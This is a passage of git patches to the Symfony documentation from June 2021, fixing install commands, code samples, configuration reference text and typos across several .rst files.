 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index bca61758e65..88bfb952864 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From e51850371f0b31888f09c90a43a920cb28f42fd1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 6 Jun 2021 20:55:16 +0300
Subject: [PATCH 0917/5766] * setup.rst - documentation bugfix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5ca25e0df7b..eb613b8a01c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.2 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.2
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.2.*" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.2.*" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 3a0dc3c0e8dd43df66b4ac59ec27dfdf419b4a49 Mon Sep 17 00:00:00 2001
From: Al Bunch <abunch@users.noreply.github.com>
Date: Sun, 6 Jun 2021 19:48:09 -0500
Subject: [PATCH 0918/5766] Update bootstrap5.rst

Apply input-group class to a TextType field instead of a CheckboxType field
---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 3608b20f562..db18cd668c6 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -187,7 +187,7 @@ class to the ``row_attr`` option.
 
     .. code-block:: php
 
-        $builder->add('email', CheckboxType::class, [
+        $builder->add('email', TextType::class, [
             'label' => '@',
             'row_attr' => [
                 'class' => 'input-group',

From 80692087f5c6eeed891c6e4cb0b35d376a580d33 Mon Sep 17 00:00:00 2001
From: Thiago Rodrigues <me@xthiago.com>
Date: Mon, 7 Jun 2021 12:01:54 -0300
Subject: [PATCH 0919/5766] add missing mapping type (PHP Attributes)

---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index b097a15a548..4c09c8c35ff 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -265,7 +265,7 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (the default value), ``attribute``, ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
 ``dir``

From 15e68b5362f46fe383e3b1684e99cfdb908da2a7 Mon Sep 17 00:00:00 2001
From: andybeak <andy.beak@protonmail.ch>
Date: Mon, 7 Jun 2021 17:26:03 +0100
Subject: [PATCH 0920/5766] Update setup.rst

Using `--version=next` uses a development version of Symfony which right now as of this moment in time doesn't behave the way that the 5.3 documentation (which is "current" on the documentation website) suggests.  I suggest removing this parameter to avoid confusion.

See also https://stackoverflow.com/questions/67874794/symfony5-throws-404-error-in-browser-but-route-is-found-in-cli/67875331#67875331
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 88bfb952864..5ca25e0df7b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 506f1f9a67c29eb162a8b0b7dc1e93f8d7497e5a Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 8 Jun 2021 14:34:48 +0200
Subject: [PATCH 0921/5766] [Symfony CLI] Docker integration and MailCatcher
 prefix

Hi :wave:

Given my `docker-compose.yaml`:

```yaml
version: '3.6'

volumes:
    db-data:
    redis-data:

services:

  database:
    image: 'mysql:5.7'
    ports: [3306]
    environment:
      MYSQL_USER: 'app'
      MYSQL_PASSWORD: 'app'
      MYSQL_DATABASE: 'app'
      MYSQL_ALLOW_EMPTY_PASSWORD: 'yes'
      TZ: Etc/UTC
    volumes:
      - db-data:/var/lib/mysql
      - .manala/init-db:/docker-entrypoint-initdb.d
    healthcheck:
      test: mysqladmin ping --silent
      interval: 10s
      timeout: 5s
      retries: 5

  phpmyadmin:
    image: phpmyadmin
    ports: [80]
    environment:
      PMA_HOST: 'database'
      PMA_USER: 'app'
      PMA_PASSWORD: 'app'

  redis:
    image: 'redis:alpine'
    ports: [6379]
    environment:
      TZ: Etc/UTC
    volumes:
      - redis-data:/data

  phpredisadmin:
    image: erikdubbelboer/phpredisadmin
    ports: [80]
    environment:
      REDIS_1_HOST: 'redis'

  mailcatcher:
    image: 'schickling/mailcatcher'
    ports: [1025, 1080]
    environment:
      TZ: Etc/UTC
```

When running `docker-compose up` and `symfony var:export --multiline`, the env vars for MailCatcher are prefixed (by default) by `MAILCATCHER_` but not by `MAILER_`.
---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..087622036a2 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -352,7 +352,7 @@ RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_D
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)
 Kafka         9092      ``KAFKA_``
-MailCatcher   1025/1080 ``MAILER_``
+MailCatcher   1025/1080 ``MAILCATCHER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
 ============= ========= ======================

From 0e98401161dfab475538f17967db820da2f8d395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:13:09 +0200
Subject: [PATCH 0922/5766] Update the installation command for Symfony 5.4

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6026edf0358..56ae4074f31 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=next --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 6c9387c80c34481518bca2e8dd89202ab3ddec8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:17:41 +0200
Subject: [PATCH 0923/5766] Minor tweak

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 742b1a4f500..599f49bcb47 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -187,7 +187,7 @@ class to the ``row_attr`` option.
 
     .. code-block:: php
 
-        $builder->add('email', TextType::class, [
+        $builder->add('email', EmailType::class, [
             'label' => '@',
             'row_attr' => [
                 'class' => 'input-group',

From 7f179910dc7d2d8f0dbf151b0e991ace22061d8b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:33:42 +0200
Subject: [PATCH 0924/5766] Tweaks

---
 reference/configuration/doctrine.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 4c09c8c35ff..7cd921abdcc 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -265,9 +265,12 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``attribute``, ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (for PHP annotations; it's the default value),
+``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+See `Doctrine Metadata Drivers`_ for more information about this option.
+
 ``dir``
 .......
 
@@ -453,3 +456,4 @@ is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
+.. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html

From 471038c417548a7118ac0d45300564f7b6652128 Mon Sep 17 00:00:00 2001
From: Charles EDOU NZE <charles.edounze@oclock.io>
Date: Wed, 9 Jun 2021 16:49:01 +0200
Subject: [PATCH 0925/5766] Fixed the use of Session with RequesStack

$this->session is never instanciated. We have to use $this->requestStack->getSession() instead
---
 session.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4b7e330f481..d4408aab6f9 100644
--- a/session.rst
+++ b/session.rst
@@ -153,10 +153,10 @@ controllers if you type-hint an argument with
             $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->session->get('foo');
+            $foo = $this->requestStack->getSession()->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->session->get('filters', []);
+            $filters = $this->requestStack->getSession()->get('filters', []);
 
             // ...
         }

From 27cfdeb1400afedcce9c9c0ed3b692dbef3daedd Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 9 Jun 2021 19:32:08 +0200
Subject: [PATCH 0926/5766] [HTTP Client][CS] Add missing commas

---
 http_client.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a8cf766b355..967ab15699c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -835,9 +835,9 @@ Add an ``extra.curl`` option in your configuration to pass those extra options::
         // ...
         'extra' => [
             'curl' => [
-                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6
-            ]
-        ]
+                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6,
+            ],
+        ],
     ]);
 
 .. note::

From 08e0eed4808176cb11d7a6f3cc1127ec0d6536a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Jun 2021 09:14:05 +0200
Subject: [PATCH 0927/5766] Tweak

---
 session.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index d4408aab6f9..70e62b62263 100644
--- a/session.rst
+++ b/session.rst
@@ -149,14 +149,16 @@ controllers if you type-hint an argument with
 
         public function someMethod()
         {
+            $session = $this->requestStack->getSession();
+
             // stores an attribute in the session for later reuse
-            $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
+            $session->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->requestStack->getSession()->get('foo');
+            $foo = $session->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->requestStack->getSession()->get('filters', []);
+            $filters = $session->get('filters', []);
 
             // ...
         }

From 09331e47623d0dbf1379aaed0605b1e563268db1 Mon Sep 17 00:00:00 2001
From: VladZernov <vlad.zernov@yahoo.com>
Date: Wed, 9 Jun 2021 02:23:41 +0300
Subject: [PATCH 0928/5766] Specified camelCase format limitation for logger
 channel autowiring

---
 logging/channels_handlers.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..c35daa82cf0 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -185,15 +185,15 @@ by type-hinting your service arguments with the following syntax:
 ``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
 :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-For example to inject the service related to the ``app`` logger channel,
+For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:
 
 .. code-block:: diff
 
     -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $appLogger)
+    +     public function __construct(LoggerInterface $fooBarLogger)
         {
-            $this->logger = $appLogger;
+            $this->logger = $fooBarLogger;
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle

From c3218ac4989b37d343952880e47ca791d59e500f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Jun 2021 09:20:38 +0200
Subject: [PATCH 0929/5766] Tweak

---
 logging/channels_handlers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index c35daa82cf0..dbd9e897cf6 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,8 +182,8 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
-:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
+``Psr\Log\LoggerInterface $<camelCased channel name> + Logger``. The ``<channel>``
+must have been :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
 For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:

From d404d19d01044f25df5991101fd7f6a6b6df217b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Thu, 10 Jun 2021 15:02:33 +0200
Subject: [PATCH 0930/5766] [Security] update description of password hasher
 config

---
 reference/configuration/security.rst | 51 ++++++++++++++++------------
 1 file changed, 30 insertions(+), 21 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fa9acdaa6a8..d4e3f10d8f2 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -319,22 +319,6 @@ hashing algorithm. Also, each algorithm defines different config options:
                 ;
             };
 
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-.. _using-the-sodium-password-encoder:
-
-Using the Sodium Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_ and it's the hasher recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
-
-The hashed passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
 
 .. _reference-security-encoder-auto:
 .. _using-the-auto-password-encoder:
@@ -342,12 +326,21 @@ password) so you don't have to deal with it.
 Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible hasher. Currently, it tries to use
-Sodium by default and falls back to the `bcrypt password hashing function`_ if
-not possible. In the future, when PHP adds new hashing techniques, it may use
-different password hashers.
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt Password Hasher. If PHP or Symfony adds new Password Hashers
+in the future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future
+(if the "auto" implementation changes), so make sure to allocate enough space
+for them to be persisted. ``varchar(255)`` should be a good setting.
 
-It produces hashed passwords with ``60`` characters long, so make sure to
+.. _reference-security-encoder-bcrypt:
+
+Using the Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
 allocate enough space for them to be persisted. Also, passwords include the
 `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
@@ -368,6 +361,22 @@ used back when they were hashed.
     the cost to ``4``, which is the minimum value allowed, in the ``test``
     environment configuration.
 
+.. _reference-security-sodium:
+.. _using-the-argon2i-password-encoder:
+.. _using-the-sodium-password-encoder:
+
+Using the Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
 .. _reference-security-pbkdf2:
 .. _using-the-pbkdf2-encoder:
 

From c5d30b2362643feb21948e9db4967af31915866a Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 11 Jun 2021 15:51:07 +0200
Subject: [PATCH 0931/5766] Typo

Removed extra spacing
---
 deployment.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index a0f85444b6d..3fc00b4d44b 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,8 +7,7 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-
-by-step guide, but is a general list of the most common requirements and ideas
+the setup and the requirements of your application. This article is not a step-by-step guide, but is a general list of the most common requirements and ideas
 for deployment.
 
 .. _symfony2-deployment-basics:

From e556d2695485a195a2e84e62f9ef9bee20360e67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Jun 2021 16:21:17 +0200
Subject: [PATCH 0932/5766] Tweak

---
 deployment.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 3fc00b4d44b..7761844d9d4 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,8 +7,9 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-by-step guide, but is a general list of the most common requirements and ideas
-for deployment.
+the setup and the requirements of your application. This article is not a
+step-by-step guide, but is a general list of the most common requirements and
+ideas for deployment.
 
 .. _symfony2-deployment-basics:
 

From ab154605f8d59a1077b31ec2f0ad68e508e6a87d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Jun 2021 16:28:11 +0200
Subject: [PATCH 0933/5766] Tweaks

---
 reference/configuration/security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d4e3f10d8f2..e44d2532f02 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -327,12 +327,12 @@ Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt Password Hasher. If PHP or Symfony adds new Password Hashers
-in the future, it might select a different hasher.
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
 
-Because of this, the length of the hashed passwords may change in the future
-(if the "auto" implementation changes), so make sure to allocate enough space
-for them to be persisted. ``varchar(255)`` should be a good setting.
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
 
 .. _reference-security-encoder-bcrypt:
 

From e1cc2b106fe22ce04d45955bd4b5d11e6ed740e0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Jun 2021 17:06:52 +0200
Subject: [PATCH 0934/5766] Fixing code typo

---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 77a27cea9cd..37a4e23ece4 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -114,7 +114,7 @@ it is broken down.
             ;
 
             $monolog->handler('deduplicated')
-                ->type('deduplicated')
+                ->type('deduplication')
                 ->handler('symfony_mailer');
 
             $monolog->handler('symfony_mailer')

From c6ae8e5dee42dc5e4b8054e47d36f081169520bb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Jun 2021 17:41:59 +0200
Subject: [PATCH 0935/5766] Shortening code sample

It's strange that the "easy" way (below) looks twice as long as the "hard" way (above). So I'm removing two unnecessary lines, at least ,-)
---
 logging/monolog_console.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 21c67d705d8..663922f28af 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -42,7 +42,6 @@ The example above could then be rewritten as::
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
     class YourCommand extends Command
     {
@@ -56,7 +55,6 @@ The example above could then be rewritten as::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $this->logger->debug('Some info');
-            // ...
             $this->logger->notice('Some more info');
         }
     }

From 53a1829b4bb617d8f223b289389f20ac8d4d76e3 Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Tue, 15 Jun 2021 16:23:59 +0200
Subject: [PATCH 0936/5766] [Runtime] Add a note for --no-scripts

---
 components/runtime.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index e7e14c8f2d2..28392e1b0ec 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -41,7 +41,7 @@ to look like this::
     };
 
 So how does this front-controller work? At first, the special
-``autoload_runtime.php`` is automatically created by the Composer plugin in
+``autoload_runtime.php`` file is automatically created by the Composer plugin in
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
@@ -51,6 +51,11 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
+.. caution::
+
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version is ``>=2.1.3``
+    or the special autoload file won't be created.
+
 To make a console application, the bootstrap code would look like::
 
     #!/usr/bin/env php

From e68d5bede5f99e409ee013df8a77ebf4f9e06762 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Jun 2021 17:34:27 +0200
Subject: [PATCH 0937/5766] Minor tweak

---
 components/runtime.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 28392e1b0ec..e716ec6eb38 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,8 +53,8 @@ the component. This file runs the following logic:
 
 .. caution::
 
-    If you use the Composer ``--no-scripts`` option, make sure your Composer version is ``>=2.1.3``
-    or the special autoload file won't be created.
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version
+    is ``>=2.1.3``; otherwise the ``autoload_runtime.php`` file won't be created.
 
 To make a console application, the bootstrap code would look like::
 

From 177e66f619925e7575db5154d3efdc160487130a Mon Sep 17 00:00:00 2001
From: SirRFI <32642697+SirRFI@users.noreply.github.com>
Date: Mon, 14 Jun 2021 19:24:55 +0200
Subject: [PATCH 0938/5766] [Serializer] XmlEncoder context

---
 components/serializer.rst | 49 ++++++++++++++++++++++++++++++++++-----
 1 file changed, 43 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bf39ee381f6..aac67945db7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -967,18 +967,20 @@ These are the options available:
 ==============================  =================================================  ==========================
 Option                          Description                                        Default
 ==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with
-                                line breaks and indentation.
+``xml_format_output``           If set to true, formats the generated XML with     ``false``
+                                line breaks and indentation
 ``xml_version``                 Sets the XML version attribute                     ``1.1``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
 ``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
                                 type casting
-``xml_root_node_name``          Sets the root node name (default: ``response``).
-``as_collection``               Always returns results as a collection, even if
+``xml_root_node_name``          Sets the root node name                            ``response``
+``as_collection``               Always returns results as a collection, even if    ``false``
                                 only one line is decoded
-``decoder_ignored_node_types``  Sets nodes to be ignored in the decode             ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-``encoder_ignored_node_types``  Sets nodes to be ignored in the encode             ``[]``
+``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
+                                to be ignored while decoding
+``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
+                                to be ignored while encoding
 ``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
@@ -989,6 +991,40 @@ Option                          Description
     The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
     options were introduced in Symfony 4.2.
 
+Example with custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    // create encoder with specified options as new default settings
+    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    // encode with default context
+    $xmlEncoder->encode($data, 'xml');
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    // encode with modified context
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1555,6 +1591,7 @@ Learn more
 .. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
 .. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
 .. _JSON: http://www.json.org/
 .. _XML: https://www.w3.org/XML/
 .. _YAML: https://yaml.org/

From 4b38498cccf1ecfc437d4d0431e972b6f08bc21d Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 16 Jun 2021 22:20:13 +0200
Subject: [PATCH 0939/5766] Typo

Replaced 'introduce' by  'introduced'.
---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index c6dd9f96f4d..1d281a15e0d 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -163,7 +163,7 @@ delete existing ones::
 .. versionadded:: 5.3
 
     The option to make attribute names case-insensitive in ``getAttribute()``
-    and ``hasAttribute()`` was introduce in Symfony 5.3.
+    and ``hasAttribute()`` was introduced in Symfony 5.3.
 
 Batch Updating
 ______________

From c431bf1aa457d035372468d3af31658c47dcd4ae Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 17 Jun 2021 10:40:51 +0200
Subject: [PATCH 0940/5766] Fix: Highlighting

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5fe9af3dd99..717e13ffc13 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1271,7 +1271,7 @@ check_delayed_interval   The interval to check for delayed           1000
                          Set to 0 to disable checks.
 get_notify_timeout       The length of time to wait for a            0
                          response when calling
-                         ``PDO::pgsqlGetNotify```, in milliseconds.
+                         ``PDO::pgsqlGetNotify``, in milliseconds.
 =======================  ==========================================  ======================
 
 Beanstalkd Transport

From 7f04f3734e704da91f44d114ff092b7b5beb814b Mon Sep 17 00:00:00 2001
